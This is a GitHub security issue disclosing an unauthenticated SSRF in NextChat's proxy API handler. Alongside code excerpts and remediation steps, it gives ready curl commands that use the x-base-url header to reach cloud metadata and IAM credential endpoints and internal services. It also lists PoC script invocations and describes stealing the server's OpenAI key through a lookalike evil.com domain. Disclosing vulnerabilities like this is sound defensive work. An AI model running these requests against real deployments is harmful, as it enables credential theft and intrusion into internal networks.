ChatGPTNextWeb / ChatGPTNextWeb/NextChat

[Security] SSRF via Proxy Endpoint

Open
#6,771 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
TypeScript
Stars
88.8k
Forks
59.1k
PR merge metrics
No merged PRs in 30d

Description

# ChatGPT-Next-Web Unauthenticated Server-Side Request Forgery (SSRF) via Proxy Handler

## Summary

ChatGPT-Next-Web (NextChat) contains a critical unauthenticated Server-Side Request Forgery (SSRF) vulnerability in its proxy API handler. The proxy handler at `app/api/[provider]/[...path]/route.ts` lacks both authentication and URL validation, allowing any unauthenticated attacker to make arbitrary HTTP requests to internal services through the server.

- **Affected Component:** Proxy API handler (`app/api/proxy.ts`)
- **Attack Vector:** Any unrecognized provider name in the URL path triggers the default proxy handler
- **Authentication:** None required
- **Impact:** Full internal network access, cloud metadata exposure, API key leakage
- **CVSS Score:** 7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
- Note: Edge Runtime limits protocol to HTTP/HTTPS only (partial mitigation).
- Self-hosted deployments (Docker) have no such restriction, impact is higher.

## Affected Versions

- **All versions** up to and including the latest commit (as of 2026-04-23)
- The vulnerability exists in the proxy handler since its introduction and has no authentication mechanism

## Technical Details

### Root Cause

The proxy handler at `app/api/proxy.ts` reads a target URL from the `x-base-url` request header and forwards the request without any authentication or URL validation:

```typescript
// app/api/proxy.ts (lines 20-22)
const subpath = params.path.join("/");
const fetchUrl = `${req.headers.get("x-base-url")}/${subpath}?${req.nextUrl.searchParams.toString()}`;
```

The handler is reached when a provider name in the API path does not match any known provider (OpenAI, Anthropic, Google, etc.):

```typescript
// app/api/[provider]/[...path]/route.ts (line 40-41)
default:
return proxyHandler(req, { params });
```

### Authentication Bypass

Unlike all other API handlers (OpenAI, Anthropic, etc.) which call the `auth()` function, the proxy handler imports no authentication module:

```typescript
// app/api/proxy.ts - imports only:
import { NextRequest, NextResponse } from "next/server";
import { getServerSideConfig } from "@/app/config/server";
```

There is no Next.js middleware (`middleware.ts`) that could enforce global authentication.

### URL Validation Absence

The proxy handler performs no validation on the `x-base-url` header:
- No scheme validation (http/https)
- No hostname/IP validation
- No private/internal IP blocklist
- No domain whitelist

### Response Disclosure

The full HTTP response from the target URL is returned to the attacker:

```typescript
// app/api/proxy.ts (lines 67-71)
return new Response(res.body, {
status: res.status,
statusText: res.statusText,
headers: newHeaders,
});
```

## Attack Scenarios

### 1. Cloud Metadata Access (AWS/GCP/Azure)

```bash
# AWS EC2 metadata
curl -H "x-base-url: http://169.254.169.254/latest/meta-data/" \
"https://target.com/api/ssrf/meta"

# AWS IAM credentials
curl -H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
"https://target.com/api/ssrf/creds"
```

### 2. Internal Network Scanning

```bash
# Scan internal services
curl -H "x-base-url: http://192.168.1.1/" \
"https://target.com/api/ssrf/router"

curl -H "x-base-url: http://127.0.0.1:6379/" \
"https://target.com/api/ssrf/redis"
```

### 3. API Key Extraction

When `x-base-url` contains `api.openai.com`, the server injects its configured OpenAI API key into the forwarded request. While the response headers are cleaned, the key is still transmitted to the target:

```typescript
// app/api/proxy.ts (lines 54-60)
const baseUrl = req.headers.get("x-base-url");
if (baseUrl?.includes("api.openai.com")) {
if (!serverConfig.apiKey) { ... }
headers.set("Authorization", `Bearer ${serverConfig.apiKey}`);
}
```

An attacker could set up a server at `api.openai.com.evil.com` to capture the API key.

## Impact

1. **Internal Network Access:** Full read/write access to any HTTP service reachable from the server, including internal APIs, databases, and microservices.

2. **Cloud Credential Theft:** On cloud deployments (AWS, GCP, Azure), an attacker can retrieve instance metadata including IAM role credentials, allowing lateral movement within the cloud environment.

3. **API Key Leakage:** The server's OpenAI API key can be exfiltrated by setting `x-base-url` to a domain containing "api.openai.com" in the hostname.

4. **Port Scanning:** Attackers can enumerate open ports on internal networks by observing response timing and status codes.

5. **Data Exfiltration:** Any data accessible via HTTP from the server can be read, including internal documentation, configuration files, and secrets.

## Remediation

1. **Add Authentication:** Apply the existing `auth()` function to the proxy handler:
```typescript
import { auth } from "./auth";
// In handle function:
const authResult = auth(req, ModelProvider.GPT);
if (authResult.error) {
return NextResponse.json(authResult, { status: 401 });
}
```

2. **Validate URL:** Implement strict URL validation:
- Whitelist allowed domains
- Block private IP ranges (RFC 1918, link-local, loopback)
- Block cloud metadata endpoints (169.254.169.254)
- Restrict URL schemes to HTTPS only

3. **Remove OpenAI API Key Injection:** The unconditional injection of the server API key when the URL contains "api.openai.com" is dangerous. This check should be removed or made more specific.

## PoC

See attached `poc_nextchat_ssrf_proxy.py` for a comprehensive proof-of-concept.

```bash
# Quick test
python3 poc_nextchat_ssrf_proxy.py --check https://target.com

# Fetch cloud metadata
python3 poc_nextchat_ssrf_proxy.py --exploit https://target.com \
--internal-url http://169.254.169.254/latest/meta-data/

# Scan internal ports
python3 poc_nextchat_ssrf_proxy.py --scan https://target.com --host 127.0.0.1
```

## Discovery

- **Discovered by:** icysun & Yashon
- **Discovery date:** 2026-04-23
- **Verified:** Code audit confirmed (no runtime test performed)

## CVE Request

We request a CVE identifier for this vulnerability.

Contributor guide

No contributing guide indexed for this repository

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.